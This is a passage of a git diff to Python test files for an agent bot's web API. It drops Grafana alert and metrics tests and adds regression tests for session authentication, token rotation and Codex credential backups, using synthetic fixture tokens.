DEFAULT_TRAJECTORY_DIR, ToolIteration, @@ -529,48 +526,6 @@ async def test_search_combined_filters(self, saver_with_data): assert len(results) == 2 -# --------------------------------------------------------------------------- -# Prometheus metrics -# --------------------------------------------------------------------------- - -class TestTrajectoryPrometheusMetrics: - def test_get_prometheus_metrics(self): - saver = TrajectorySaver.__new__(TrajectorySaver) - saver._count = 42 - metrics = saver.get_prometheus_metrics() - assert metrics == {"trajectories_saved_total": 42} - - def test_metrics_rendered(self): - mc = MetricsCollector() - mc.register_source("trajectories", lambda: {"trajectories_saved_total": 10}) - rendered = mc.render() - assert "odin_trajectories_saved_total" in rendered - assert "10" in rendered - - def test_metrics_absent(self): - mc = MetricsCollector() - rendered = mc.render() - assert "odin_trajectories_saved_total" not in rendered - - def test_metrics_zero(self): - mc = MetricsCollector() - mc.register_source("trajectories", lambda: {"trajectories_saved_total": 0}) - rendered = mc.render() - assert "odin_trajectories_saved_total" in rendered - - async def test_metrics_in_endpoint(self): - cfg = WebhookConfig(enabled=False) - server = HealthServer(port=0, webhook_config=cfg) - server.set_ready(True) - saver = TrajectorySaver.__new__(TrajectorySaver) - saver._count = 7 - server.metrics.register_source("trajectories", saver.get_prometheus_metrics) - async with TestClient(TestServer(server._app)) as client: - resp = await client.get("/metrics") - text = await resp.text() - assert "odin_trajectories_saved_total 7" in text - - # --------------------------------------------------------------------------- # REST API endpoints # --------------------------------------------------------------------------- diff --git a/tests/test_trajectory_completeness.py b/tests/test_trajectory_completeness.py index 1a0d02a88..0d9060b96 100644 --- a/tests/test_trajectory_completeness.py +++ b/tests/test_trajectory_completeness.py @@ -479,6 +479,8 @@ async def test_persists_tool_calls_and_results(self, audit_error): assert audit_call.await_args.kwargs["attribution"] == { "call_id": "t1", "iteration": 0, + "loop_id": "l1", + "turn_id": "loop:l1:1", } assert fake.audit.log_event.await_args.kwargs["event_type"] == "loop_tool_start" assert fake.audit.log_event.await_args.kwargs["count_as_tool"] is False diff --git a/tests/test_web_api_agents_loops.py b/tests/test_web_api_agents_loops.py index 488095a95..9e4cfbe59 100644 --- a/tests/test_web_api_agents_loops.py +++ b/tests/test_web_api_agents_loops.py @@ -390,7 +390,7 @@ async def test_agent_model_policy_reports_validation_errors(self, monkeypatch, v async with TestClient(TestServer(_app(register_agents, bot=bot))) as c: response = await c.put("/api/agents/model", json={"model": "auto"}) assert response.status == 400 - assert (await response.json())["error"] == "invalid agent policy" + assert "invalid agent policy" in (await response.json())["error"] @pytest.mark.asyncio async def test_agent_model_policy_get_and_put(self, monkeypatch): @@ -552,7 +552,7 @@ async def test_list_processes_no_registry(self): async def test_kill_process(self): bot = MagicMock() reg = MagicMock() - reg.kill = AsyncMock(return_value="Killed process 5.") + reg.kill = AsyncMock(return_value="Process 5 killed.") bot.tool_executor._process_registry = reg async with TestClient(TestServer(_app(register_processes, bot=bot))) as c: assert (await c.delete("/api/processes/5")).status == 200 @@ -781,16 +781,16 @@ async def test_pending_compatible_reports_compatible_model(self): assert row["display_reasoning_effort"] == "N/A" @pytest.mark.asyncio - async def test_codex_overrides_inert_under_non_codex_provider(self): - # The overrides exist but execution ignores them — showing them would - # advertise a policy that will not happen. + async def test_codex_override_selects_independent_agent_provider(self): + # Agent selection is independent of the main-chat provider. agent = _agent_info(model_override="gpt-5.6-luna", reasoning_effort_override="max") bot = _display_bot(agent, provider="ollama") bot.config.ollama = SimpleNamespace(model="qwen3:14b") async with TestClient(TestServer(_app(register_agents, bot=bot))) as c: row = (await (await c.get("/api/agents")).json())[0] - assert row["display_model"] == "qwen3:14b" - assert row["display_source"] == "current_inheritance" + assert row["display_model"] == "gpt-5.6-luna" + assert row["display_reasoning_effort"] == "max" + assert row["display_source"] == "spawn_override_pending" class TestDisplayPolicyPerAxisSources: diff --git a/tests/test_web_api_codex_admin.py b/tests/test_web_api_codex_admin.py index 88d43da33..617b418eb 100644 --- a/tests/test_web_api_codex_admin.py +++ b/tests/test_web_api_codex_admin.py @@ -49,6 +49,76 @@ def _app(bot): return app +async def test_status_isolates_corrupt_account_and_refresh_failure(tmp_path, monkeypatch): + bot, _ = _make_bot(tmp_path) + pool = bot.llm_gateway.codex_client.auth + monkeypatch.setattr( + pool._accounts[0], "_load", MagicMock(side_effect=OSError("unreadable account")), + ) + async with TestClient(TestServer(_app(bot))) as client: + status = await (await client.get("/api/codex/status")).json() + assert status["accounts"][0] == {"index": 0, "error": "unreadable account"} + assert status["accounts"][1]["index"] == 1 + response = await client.post("/api/codex/account/0/refresh") + assert response.status == 500 + assert (await response.json())["error"] == "unreadable account" + + +@pytest.mark.parametrize("raw", ['"invalid-shape"', '{broken']) +async def test_device_poll_preserves_corrupt_credentials_before_replacing( + tmp_path, monkeypatch, raw, +): + bot, path = _make_bot(tmp_path, configured=False) + path.write_text(raw) + monkeypatch.setattr(ca.CodexAuth, "poll_device_auth", AsyncMock(return_value=_creds())) + bot.llm_gateway.reload_codex = AsyncMock() + async with TestClient(TestServer(_app(bot))) as client: + response = await client.post("/api/codex/device-poll", json={ + "device_auth_id": "test-device", "user_code": "test-code", + }) + assert response.status == 200 + assert path.with_suffix(".bak").read_text() == raw + assert json.loads(path.read_text())[0]["account_id"] == "0" + bot.llm_gateway.reload_codex.assert_awaited_once() + + +async def test_device_poll_refuses_overwrite_when_corrupt_backup_fails(tmp_path, monkeypatch): + bot, path = _make_bot(tmp_path, configured=False) + path.write_text("{broken") + monkeypatch.setattr(ca.CodexAuth, "poll_device_auth", AsyncMock(return_value=_creds())) + monkeypatch.setattr("shutil.copy2", MagicMock(side_effect=OSError("backup denied"))) + bot.llm_gateway.reload_codex = AsyncMock() + async with TestClient(TestServer(_app(bot))) as client: + response = await client.post("/api/codex/device-poll", json={ + "device_auth_id": "test-device", "user_code": "test-code", + }) + assert response.status == 500 + assert (await response.json())["error"] == "failed to preserve existing credentials" + assert path.read_text() == "{broken" + bot.llm_gateway.reload_codex.assert_not_awaited() + + +async def test_device_poll_rejects_negative_slot_and_preserves_replaced_label( + tmp_path, monkeypatch, +): + bot, path = _make_bot(tmp_path) + raw = json.loads(path.read_text()) + raw[0]["label"] = "operator label" + path.write_text(json.dumps(raw)) + before = path.read_bytes() + monkeypatch.setattr( + ca.CodexAuth, "poll_device_auth", AsyncMock(return_value=_creds(access="new")), + ) + bot.llm_gateway.reload_codex = AsyncMock() + async with TestClient(TestServer(_app(bot))) as client: + body = {"device_auth_id": "test-device", "user_code": "test-code", "save_index": -1} + assert (await client.post("/api/codex/device-poll", json=body)).status == 400 + assert path.read_bytes() == before + body["save_index"] = 0 + assert (await client.post("/api/codex/device-poll", json=body)).status == 200 + assert json.loads(path.read_text())[0]["label"] == "operator label" + + class TestCodexStatus: @pytest.mark.asyncio async def test_configured_lists_accounts(self, tmp_path): @@ -431,7 +501,8 @@ async def test_dict_file_with_save_index_promotes(self, tmp_path, monkeypatch): json={"device_auth_id": "d", "user_code": "AB", "save_index": 0}) assert r.status == 200 data = json.loads(path.read_text()) - assert isinstance(data, list) and len(data) == 2 # [orig, new] + assert isinstance(data, list) and len(data) == 1 + assert data[0]["access_token"] == "promoted" # re-auth replaces displayed slot 0 @pytest.mark.asyncio async def test_no_file_writes_fresh(self, tmp_path, monkeypatch): diff --git a/tests/test_web_api_config_admin.py b/tests/test_web_api_config_admin.py index 6c78aecf3..464ffc27e 100644 --- a/tests/test_web_api_config_admin.py +++ b/tests/test_web_api_config_admin.py @@ -495,8 +495,7 @@ async def test_update_config_persists_normalized_dropping_removed_keys(self, _ac assert "max_system_prompt_tokens" not in saved.get("context", {}) assert "enabled" not in saved["graceful_degradation"] assert saved["graceful_degradation"]["degraded_threshold"] == 7 - assert "enabled" not in saved["grafana_alerts"] - assert saved["grafana_alerts"]["cooldown_seconds"] == 612 + assert "grafana_alerts" not in saved @pytest.mark.asyncio async def test_context_budget_alias_persists_canonical_key_through_restart( diff --git a/tests/test_web_api_integrations.py b/tests/test_web_api_integrations.py index 26c415eee..eface3575 100644 --- a/tests/test_web_api_integrations.py +++ b/tests/test_web_api_integrations.py @@ -1,14 +1,13 @@ """Route coverage for web/api/integrations.py (RFC-006 P4-continuation, CONT-1). Per Odin's advisory: fake the remote services hard. These tests validate request -parsing, validation, and delegation/response shaping for MCP / Grafana -alerts / outbound webhooks — never the network. Each service +parsing, validation, and delegation/response shaping for MCP and +outbound webhooks — never the network. Each service is a faked object; the "disabled" path is simply the attribute being absent. """ from __future__ import annotations -from types import SimpleNamespace from unittest.mock import AsyncMock, MagicMock import pytest @@ -19,7 +18,6 @@ from src.config.schema import load_config, set_active_config_path from src.notifications.outbound_webhooks import OutboundWebhookDispatcher from src.web.api.integrations import ( - register_grafana_alerts, register_mcp_servers, register_outbound_webhooks, ) @@ -106,69 +104,6 @@ async def test_enabled_requires_boolean(self): assert (await c.post("/api/mcp/enabled", json={"enabled": "yes"})).status == 400 -# --------------------------------------------------------------------------- # -# Grafana alerts -# --------------------------------------------------------------------------- # -class TestGrafanaAlerts: - def _handler(self): - h = MagicMock() - h.get_status.return_value = {"rules": 2} - h.alert_history = [{"n": 1}, {"n": 2}, {"n": 3}] - h.get_rules_list.return_value = [{"id": "r1"}] - h.get_remediations_list.return_value = [{"id": "rem1"}] - h.remove_rule.return_value = True - return h - - async def test_status_and_disabled(self): - async with TestClient(TestServer(_app(register_grafana_alerts, bot=_bot()))) as c: - assert (await (await c.get("/api/grafana-alerts/status")).json())["enabled"] is False - assert (await c.get("/api/grafana-alerts/history")).status == 503 - assert (await c.get("/api/grafana-alerts/rules")).status == 503 - assert (await c.post("/api/grafana-alerts/rules", json={})).status == 503 - assert (await c.delete("/api/grafana-alerts/rules/r1")).status == 503 - assert (await c.get("/api/grafana-alerts/remediations")).status == 503 - - async def test_enabled_reads(self): - bot = _bot(health_server=SimpleNamespace(grafana_handler=self._handler())) - async with TestClient(TestServer(_app(register_grafana_alerts, bot=bot))) as c: - assert (await (await c.get("/api/grafana-alerts/status")).json())["rules"] == 2 - hist = await (await c.get("/api/grafana-alerts/history?limit=2")).json() - assert hist["total"] == 3 and len(hist["alerts"]) == 2 - rules = await (await c.get("/api/grafana-alerts/rules")).json() - assert rules["rules"][0]["id"] == "r1" - rems = await (await c.get("/api/grafana-alerts/remediations")).json() - assert rems["remediations"][0]["id"] == "rem1" - - async def test_add_rule(self): - handler = self._handler() - bot = _bot(health_server=SimpleNamespace(grafana_handler=handler)) - async with TestClient(TestServer(_app(register_grafana_alerts, bot=bot))) as c: - assert (await c.post("/api/grafana-alerts/rules", data="bad")).status == 400 - # missing name_pattern → 400 - assert (await c.post("/api/grafana-alerts/rules", json={"id": "r1"})).status == 400 - r = await c.post( - "/api/grafana-alerts/rules", - json={"id": "r1", "name_pattern": "CPU.*", "remediation_goal": "go"}, - ) - assert r.status == 201 and (await r.json())["rule"] == "r1" - handler.add_rule.assert_called_once() - # a rule the handler rejects surfaces as 400 - handler.add_rule.side_effect = ValueError("duplicate rule id") - assert ( - await c.post( - "/api/grafana-alerts/rules", json={"id": "r2", "name_pattern": "Mem.*"} - ) - ).status == 400 - - async def test_delete_rule(self): - handler = self._handler() - bot = _bot(health_server=SimpleNamespace(grafana_handler=handler)) - async with TestClient(TestServer(_app(register_grafana_alerts, bot=bot))) as c: - assert (await c.delete("/api/grafana-alerts/rules/r1")).status == 200 - handler.remove_rule.return_value = False - assert (await c.delete("/api/grafana-alerts/rules/ghost")).status == 404 - - # --------------------------------------------------------------------------- # # Outbound webhooks # --------------------------------------------------------------------------- # diff --git a/tests/test_web_api_llm_admin.py b/tests/test_web_api_llm_admin.py index f173da6d8..fe2302e95 100644 --- a/tests/test_web_api_llm_admin.py +++ b/tests/test_web_api_llm_admin.py @@ -1600,6 +1600,7 @@ async def test_max_accepted_on_capable_model(self): async def test_recent_models_max_accepted_none_rejected(self, model): app, bot = _app(register_provider_config) gw = _gw(bot) + bot.config.llm_provider.model = model async with TestClient(TestServer(app)) as c: r = await c.put( "/api/llm/codex/config", json={"model": model, "reasoning_effort": "max"} @@ -1619,6 +1620,7 @@ async def test_effort_direction_rejected_with_allowed_list(self): app, bot = _app(register_provider_config) gw = _gw(bot) bot.config.openai_codex.model = "gpt-5.4" + bot.config.llm_provider.model = "gpt-5.4" async with TestClient(TestServer(app)) as c: r = await c.put("/api/llm/codex/config", json={"reasoning_effort": "max"}) assert r.status == 400 @@ -1654,15 +1656,16 @@ async def test_agent_model_direction_rejected(self): bot.config.openai_codex.agent_reasoning_effort = None # explicit inherit (default: "auto") async with TestClient(TestServer(app)) as c: r = await c.put("/api/llm/codex/config", json={"agent_model": "gpt-5.4"}) - assert r.status == 400 - assert "agent settings" in (await r.json())["error"] - assert bot.config.openai_codex.agent_model == "auto" + assert r.status == 200 + assert bot.config.openai_codex.agent_model == "gpt-5.4" + assert bot.config.agents.model == "auto" @pytest.mark.asyncio async def test_agent_effort_direction_rejected(self): app, bot = _app(register_provider_config) _gw(bot) bot.config.openai_codex.agent_model = "gpt-5.4" + bot.config.agents.model = "gpt-5.4" async with TestClient(TestServer(app)) as c: r = await c.put("/api/llm/codex/config", json={"agent_reasoning_effort": "max"}) assert r.status == 400 diff --git a/tests/test_web_api_observability.py b/tests/test_web_api_observability.py index 677b2a314..0d4133f17 100644 --- a/tests/test_web_api_observability.py +++ b/tests/test_web_api_observability.py @@ -38,6 +38,7 @@ def _bot(): a.verify_integrity = AsyncMock(return_value={"valid": True}) a.search_logs = AsyncMock(return_value=[{"l": 1}]) a.get_log_stats = AsyncMock(return_value={"total": 3}) + a.open_read_snapshot = AsyncMock(return_value=[]) a.search_by_risk = AsyncMock(return_value=[{"r": 1}]) ex = bot.tool_executor ex.risk_stats.get_summary.return_value = {"risk": 1} @@ -320,7 +321,8 @@ async def test_aggregates(self): bot = _bot() with pytest.MonkeyPatch().context() as mp: mp.setattr("src.observability.aggregates.context_aggregates", lambda d, w: {"ctx": w}) - mp.setattr("src.observability.aggregates.failure_aggregates", lambda p, w: {"fail": w}) + mp.setattr("src.observability.aggregates.failure_aggregates", + lambda p, w, **kwargs: {"fail": w}) async with TestClient(TestServer(_app(obs.register_aggregates, bot=bot))) as c: assert (await (await c.get("/api/observability/context?window=5")).json())[ "ctx" diff --git a/tests/test_web_api_security_routes.py b/tests/test_web_api_security_routes.py index d88a83a72..5862f3231 100644 --- a/tests/test_web_api_security_routes.py +++ b/tests/test_web_api_security_routes.py @@ -644,7 +644,8 @@ def _app_with_sm(self, bot, sm, identity="__admin__"): @pytest.mark.asyncio async def test_login_with_config_token(self, tmp_path): bot, sm = self._bot_with_sessions(tmp_path) - bot.config.web.resolve_api_identity = MagicMock(return_value=None) + from src.config.schema import WebConfig + bot.config.web = WebConfig(api_token="cfg-token") async with TestClient(TestServer(self._app_with_sm(bot, sm))) as c: r = await c.post("/api/auth/login", json={"token": "cfg-token"}) assert r.status == 200 and (await r.json())["session_id"] == "sess-123" @@ -741,7 +742,8 @@ async def test_login_resolves_dynamic_identity_path(self, tmp_path): bot.api_token_manager = MagicMock() bot.api_token_manager.resolve.return_value = None bot.api_token_manager.list_tokens.return_value = [{"x": 1}] # auth configured - ident = SimpleNamespace(user_id="cfgid", tier="user") + from src.config.schema import ApiTokenIdentity + ident = ApiTokenIdentity(token="cfg-token", user_id="cfgid", tier="user") bot.config.web.resolve_api_identity = MagicMock(return_value=ident) async with TestClient(TestServer(self._app_with_sm(bot, sm))) as c: r = await c.post("/api/auth/login", json={"token": "matches-config"}) diff --git a/tests/test_web_api_sessions_chat.py b/tests/test_web_api_sessions_chat.py index 271e4038e..cf7a10684 100644 --- a/tests/test_web_api_sessions_chat.py +++ b/tests/test_web_api_sessions_chat.py @@ -38,7 +38,8 @@ def _msg(role="user", content="hi", ts=1.0, uid="u"): def _session(messages=None, summary=""): return SimpleNamespace(messages=messages if messages is not None else [_msg()], estimated_tokens=10, last_active=1.0, created_at=1.0, - summary=summary, last_user_id="u") + summary=summary, summary_segments=[], has_summary=bool(summary), + last_user_id="u") def _bot(): diff --git a/tests/test_web_api_turn_state.py b/tests/test_web_api_turn_state.py index 28ebbf02e..9636831b1 100644 --- a/tests/test_web_api_turn_state.py +++ b/tests/test_web_api_turn_state.py @@ -16,13 +16,14 @@ from aiohttp import web from aiohttp.test_utils import TestClient, TestServer -from src.config.schema import WebConfig +from src.config.schema import ApiTokenIdentity, WebConfig from src.health.server import HealthServer from src.llm.model_breaker import ModelBreakerRegistry from src.turn_state import observer from src.turn_state.observer import _connect_read_only, read_turn_snapshot from src.turn_state.store import TurnStateStore from src.web.api import turn_state as turn_state_api +from src.web.api.security import register_auth from src.web.api.turn_state import register_turn_state TURN_KEYS = { @@ -199,37 +200,41 @@ def _bare_app(bot): class TestProductionMiddlewareGating: def _client(self, bot): config = WebConfig(api_token="configured-admin-token") - bot.config.web = SimpleNamespace( - api_token=config.api_token, - api_tokens=None, - ) + config.api_tokens = [ + ApiTokenIdentity(token="admin-fixture", user_id="admin-user", tier="admin"), + ApiTokenIdentity(token="user-fixture", user_id="plain-user", tier="user"), + ] + bot.config.web = config server = HealthServer(web_config=config) routes = web.RouteTableDef() register_turn_state(routes, bot) + register_auth(routes, bot) server._app.router.add_routes(routes) - admin_sid, _ = server._session_manager.create( - identity=SimpleNamespace(user_id="admin-user", tier="admin") - ) - user_sid, _ = server._session_manager.create( - identity=SimpleNamespace(user_id="plain-user", tier="user") - ) - return TestClient(TestServer(server._app)), admin_sid, user_sid + return TestClient(TestServer(server._app)) + + async def _login(self, client, token): + response = await client.post("/api/auth/login", json={"token": token}) + assert response.status == 200, await response.text() + return (await response.json())["session_id"] async def test_central_admin_fence_survives_without_route_local_gate( self, tmp_path, monkeypatch ): store = _store(tmp_path) monkeypatch.setattr(turn_state_api, "admin_gate", lambda _bot: lambda _request: None) - client, _admin_sid, user_sid = self._client(_bot(store=store)) + client = self._client(_bot(store=store)) async with client: + user_sid = await self._login(client, "user-fixture") for path in ("/api/turn-state/turns", "/api/turn-state/capacity-breakers"): denied = await client.get(path, headers={"Authorization": f"Bearer {user_sid}"}) assert denied.status == 403, path async def test_non_admin_gets_403_admin_gets_200_through_real_stack(self, tmp_path): store = _store(tmp_path) - client, admin_sid, user_sid = self._client(_bot(store=store)) + client = self._client(_bot(store=store)) async with client: + admin_sid = await self._login(client, "admin-fixture") + user_sid = await self._login(client, "user-fixture") for path in ("/api/turn-state/turns", "/api/turn-state/capacity-breakers"): denied = await client.get(path, headers={"Authorization": f"Bearer {user_sid}"}) assert denied.status == 403, path diff --git a/tests/test_web_campaign_authorization.py b/tests/test_web_campaign_authorization.py index 32849df14..85ae7194b 100644 --- a/tests/test_web_campaign_authorization.py +++ b/tests/test_web_campaign_authorization.py @@ -54,9 +54,10 @@ async def test_every_registered_route_tier_matrix(monkeypatch, carrier): identities[identity.token] = identity if carrier == "session": credentials[tier], _ = server._session_manager.create(identity=identity) + server._session_manager.set_auth_source(credentials[tier], "static") else: credentials[tier] = identity.token - if carrier == "static": + if carrier in {"static", "session"}: server._web_config.api_tokens = list(identities.values()) elif carrier == "dynamic": server._app["token_manager"] = SimpleNamespace( @@ -95,8 +96,10 @@ async def boundary(request, handler): @pytest.mark.asyncio async def test_session_owner_boundary(): server, bot = production_server() - identity = ApiTokenIdentity(token="", user_id="owner", tier="user") + identity = ApiTokenIdentity(token="owner-credential", user_id="owner", tier="user") + server._web_config.api_tokens = [identity] token, _ = server._session_manager.create(identity=identity) + server._session_manager.set_auth_source(token, "static") async with TestClient(TestServer(server._app)) as client: for method, suffix in (("GET", ""), ("GET", "/export"), ("DELETE", "")): response = await client.request(method, f"/api/sessions/other{suffix}", diff --git a/tests/test_web_campaign_policy_races.py b/tests/test_web_campaign_policy_races.py index c034233a3..b7c748460 100644 --- a/tests/test_web_campaign_policy_races.py +++ b/tests/test_web_campaign_policy_races.py @@ -37,6 +37,11 @@ async def test_static_session_never_inherits_same_id_dynamic_admin( sid = (await response.json())["session_id"] if deleted: server._web_config.api_tokens = [] + with pytest.raises(aiohttp.WSServerHandshakeError) as refused: + await client.ws_connect("/api/ws", **carrier_options(sid, wire)) + assert refused.value.status == 401 + chat.assert_not_awaited() + return ws = await client.ws_connect("/api/ws", **carrier_options(sid, wire)) await ws.send_json({"type": "chat", "content": "synthetic"}) result = await ws.receive_json(timeout=1) diff --git a/tests/test_web_campaign_streams.py b/tests/test_web_campaign_streams.py index 2bed580ca..0adc7ae14 100644 --- a/tests/test_web_campaign_streams.py +++ b/tests/test_web_campaign_streams.py @@ -15,8 +15,10 @@ @pytest.mark.parametrize("stream", ["events", "logs"]) async def test_subscription_matrix(tier, stream, monkeypatch): server, _ = production_server() - identity = ApiTokenIdentity(token="", user_id="actor", tier=tier) + identity = ApiTokenIdentity(token="stream-origin", user_id="actor", tier=tier) + server._web_config.api_tokens = [identity] token, _ = server._session_manager.create(identity=identity) + server._session_manager.set_auth_source(token, "static") # Audit filesystem is synthetic; subscription and delivery are production. path = SimpleNamespace(exists=lambda: True, read_text=lambda: "synthetic-row\n", stat=lambda: SimpleNamespace(st_size=14)) diff --git a/tests/test_web_campaign_truth.py b/tests/test_web_campaign_truth.py index f183b0a16..75fd1996b 100644 --- a/tests/test_web_campaign_truth.py +++ b/tests/test_web_campaign_truth.py @@ -11,9 +11,11 @@ @pytest.mark.asyncio async def test_session_demotion_resolves_detached_authority(): server, _ = production_server() - old = ApiTokenIdentity(token="", user_id="actor", tier="admin") + old = ApiTokenIdentity(token="origin", user_id="actor", tier="admin") current = old.model_copy(update={"tier": "guest"}) + server._web_config.api_tokens = [current] token, _ = server._session_manager.create(identity=old) + server._session_manager.set_auth_source(token, "static") server._app["token_manager"] = SimpleNamespace( get=lambda _: current, resolve=lambda _: None, list_tokens=lambda: [current], ) @@ -35,7 +37,9 @@ async def test_auth_status_authoritative_identity(carrier, kind): if kind == "legacy": token, expected = "synthetic-admin", "api-admin" elif kind == "session": + server._web_config.api_tokens = [identity] token, _ = server._session_manager.create(identity=identity) + server._session_manager.set_auth_source(token, "static") elif kind == "static": server._web_config.api_tokens = [identity] else: diff --git a/tests/test_web_websocket.py b/tests/test_web_websocket.py index 16474f045..e029174b0 100644 --- a/tests/test_web_websocket.py +++ b/tests/test_web_websocket.py @@ -101,11 +101,16 @@ async def test_accepts_matching_token(self): async def test_accepts_session_manager_token(self): # web_config present (auth on), api_token empty → session_manager validates - sm = SimpleNamespace(validate=lambda t: t == "good", get_identity=lambda t: None) - client, _ = _client(web_config=SimpleNamespace(), session_manager=sm) + from src.config.schema import WebConfig + from src.health.server import SessionManager + config = WebConfig(api_token="origin") + sm = SessionManager() + sid, _ = sm.create(config.resolve_api_identity("origin")) + sm.set_auth_source(sid, "legacy") + client, _ = _client(web_config=config, session_manager=sm) async with client: async with client.ws_connect( - "/api/ws", protocols=[TestBearerSubprotocolAuth._proto("good")] + "/api/ws", protocols=[TestBearerSubprotocolAuth._proto(sid)] ) as ws: await ws.send_json({"type": "ping", "ts": 1}) assert (await ws.receive_json())["type"] == "pong" @@ -427,10 +432,15 @@ async def test_tail_no_file_is_safe(self): ws.send_json.assert_not_awaited() def test_resolve_identity_via_session_manager(self): - ident = SimpleNamespace(user_id="u1") - sm = SimpleNamespace(validate=lambda t: True, get_identity=lambda t: ident) - mgr = WebSocketManager(_bot(), session_manager=sm) - assert mgr._resolve_identity("tok") is ident + from src.config.schema import ApiTokenIdentity, WebConfig + from src.health.server import SessionManager + ident = ApiTokenIdentity(token="origin", user_id="u1") + config = WebConfig(api_tokens=[ident]) + sm = SessionManager() + sid, _ = sm.create(ident) + sm.set_auth_source(sid, "static") + mgr = WebSocketManager(_bot(), session_manager=sm, web_config=config) + assert mgr._resolve_identity(sid) is ident def test_resolve_identity_via_token_manager(self): ident = SimpleNamespace(user_id="u1") @@ -525,13 +535,18 @@ async def test_idle_managed_socket_expires_without_inbound_traffic(self): from src.health.server import SessionManager sessions = SessionManager(timeout_minutes=1 / 6000) - sid, _ = sessions.create(SimpleNamespace(user_id="u1", tier="admin")) + from src.config.schema import ApiTokenIdentity + origin = ApiTokenIdentity(token="synthetic-origin", user_id="u1") + sid, _ = sessions.create(origin) + sessions.set_auth_source(sid, "static") config = SimpleNamespace( api_token="configured", api_tokens=[], resolve_api_identity=lambda _token: None, ) + config.api_tokens = [origin] client, manager = TestProductionMiddlewareBearerAuth._stack( + # Publish the exact credential bound above, not an unbacked identity. session_manager=sessions, web_config=config, ) @@ -659,17 +674,19 @@ def _stack(*, session_manager, web_config): return TestClient(TestServer(app)), manager async def test_session_subprotocol_reaches_handler_and_binds_exact_session(self): - identity = SimpleNamespace(user_id="u1", tier="admin") + from src.config.schema import ApiTokenIdentity + identity = ApiTokenIdentity(token="origin", user_id="u1", tier="admin") sm = SimpleNamespace( validate=MagicMock(side_effect=lambda token, **_kw: token == "session-one"), get_identity=MagicMock(return_value=identity), - get_auth_source=MagicMock(return_value=None), + get_auth_source=MagicMock(return_value="static"), ) config = SimpleNamespace( api_token="configured-so-auth-is-on", api_tokens=[], resolve_api_identity=lambda _token: None, ) + config.api_tokens = [identity] client, manager = self._stack(session_manager=sm, web_config=config) async with client: ws = await client.ws_connect( diff --git a/tests/test_webauth_campaign_regressions.py b/tests/test_webauth_campaign_regressions.py new file mode 100644 index 000000000..a1c949841 --- /dev/null +++ b/tests/test_webauth_campaign_regressions.py @@ -0,0 +1,378 @@ +"""Real middleware, login and live tool admission with disposable credentials.""" +from types import SimpleNamespace + +import pytest +from aiohttp import web +from aiohttp.test_utils import TestClient, TestServer + +from src.config.schema import ApiTokenIdentity, WebConfig +from src.health.server import SessionManager, _make_auth_middleware +from src.permissions.token_manager import ApiTokenManager +from src.tools.output_authorization import request_host_authorizer, web_output_scope +from src.web.api.security import register_auth +from src.web.websocket import WebSocketManager, _CredentialPolicy, _policy_fingerprint + + +def composition(config, tokens=None): + bot = SimpleNamespace(config=SimpleNamespace(web=config), api_token_manager=tokens) + sm = SessionManager(timeout_minutes=1) + app = web.Application(middlewares=[_make_auth_middleware(lambda: bot.config.web, sm)]) + app["session_manager"] = sm + if tokens is not None: + app["token_manager"] = tokens + routes = web.RouteTableDef() + register_auth(routes, bot) + + @routes.get("/api/probe") + async def probe(request): + identity = getattr(request, "_api_identity", None) + with web_output_scope(bot, request): + hosts = request_host_authorizer.get() + return web.json_response({"user": getattr(identity, "user_id", None), + "host": hosts("dynamic-only") if hosts else None}) + + app.add_routes(routes) + return bot, sm, app + + +async def login(client, token): + response = await client.post("/api/auth/login", json={"token": token}) + assert response.status == 200 + return (await response.json())["session_id"] + + +@pytest.mark.asyncio +@pytest.mark.parametrize("source", ["static", "legacy", "dynamic"]) +async def test_sessions_die_after_origin_rotation(tmp_path, source): + tm = ApiTokenManager(str(tmp_path / "tokens.json")) + raw = "original" + config = WebConfig(api_token="other") + if source == "static": + config.api_tokens = [ApiTokenIdentity(token=raw, user_id="same")] + elif source == "legacy": + config.api_token = raw + else: + raw = (await tm.create_token(user_id="one", username="One", tier="admin")).token + bot, sm, app = composition(config, tm) + async with TestClient(TestServer(app)) as client: + sid = await login(client, raw) + response = await client.get("/api/probe", headers={"Authorization": f"Bearer {sid}"}) + assert response.status == 200 + if source == "static": + config.api_tokens[0].token = "replacement" + elif source == "legacy": + config.api_token = "replacement" + else: + await tm.regenerate_token(sm.get_identity(sid).user_id) + response = await client.get("/api/probe", headers={"Authorization": f"Bearer {sid}"}) + assert response.status == 401 + assert not sm.contains(sid) + + +@pytest.mark.asyncio +async def test_development_session_invalid_after_auth_enabled(): + config = WebConfig() + _, sm, app = composition(config) + async with TestClient(TestServer(app)) as client: + sid = await login(client, "development") + config.api_token = "enabled" + response = await client.get("/api/probe", headers={"Authorization": f"Bearer {sid}"}) + assert response.status == 401 + assert not sm.contains(sid) + + +@pytest.mark.asyncio +async def test_static_session_scope_never_adopts_same_id_dynamic_token(tmp_path): + tm = ApiTokenManager(str(tmp_path / "tokens.json")) + dynamic = await tm.create_token( + user_id="one", username="One", tier="admin", allowed_hosts=["dynamic-only"], + ) + config = WebConfig(api_tokens=[ApiTokenIdentity(token="static", user_id=dynamic.user_id, + allowed_hosts=["static-only"])]) + _, _, app = composition(config, tm) + async with TestClient(TestServer(app)) as client: + sid = await login(client, "static") + response = await client.get("/api/probe", headers={"Authorization": f"Bearer {sid}"}) + assert (await response.json())["host"] is False + + +@pytest.mark.asyncio +@pytest.mark.parametrize("body", [[], None, 42, {"token": 42}, {"token": []}]) +async def test_login_invalid_json_shapes_are_bad_requests(body): + _, _, app = composition(WebConfig(api_token="valid")) + async with TestClient(TestServer(app)) as client: + assert (await client.post("/api/auth/login", json=body)).status == 400 + + +@pytest.mark.asyncio +async def test_unicode_and_whitespace_credentials_preserve_exact_bytes(): + _, _, app = composition(WebConfig(api_token=" café ")) + async with TestClient(TestServer(app)) as client: + sid = await login(client, " café ") + for value in [sid, " café "]: + response = await client.get("/api/probe", headers={"Authorization": f"Bearer {value}"}) + assert response.status == 200 + assert (await client.post("/api/auth/login", json={"token": "café"})).status == 401 + response = await client.get("/api/probe", headers={"Authorization": "Bearer 无效"}) + assert response.status == 401 + + +@pytest.mark.asyncio +async def test_invalid_static_tier_loads_but_is_never_admitted(): + config = WebConfig( + api_token="collision", api_tokens=[ApiTokenIdentity(token="collision", tier="usr")], + ) + _, _, app = composition(config) + async with TestClient(TestServer(app)) as client: + assert (await client.post("/api/auth/login", json={"token": "collision"})).status == 401 + response = await client.get("/api/probe", headers={"Authorization": "Bearer collision"}) + assert response.status == 401 + + +@pytest.mark.asyncio +async def test_legacy_collision_same_identity_on_login_http_and_websocket(): + config = WebConfig(api_token="collision", api_tokens=[ + ApiTokenIdentity(token="collision", user_id="static", tier="user"), + ]) + bot, sm, app = composition(config) + ws_manager = 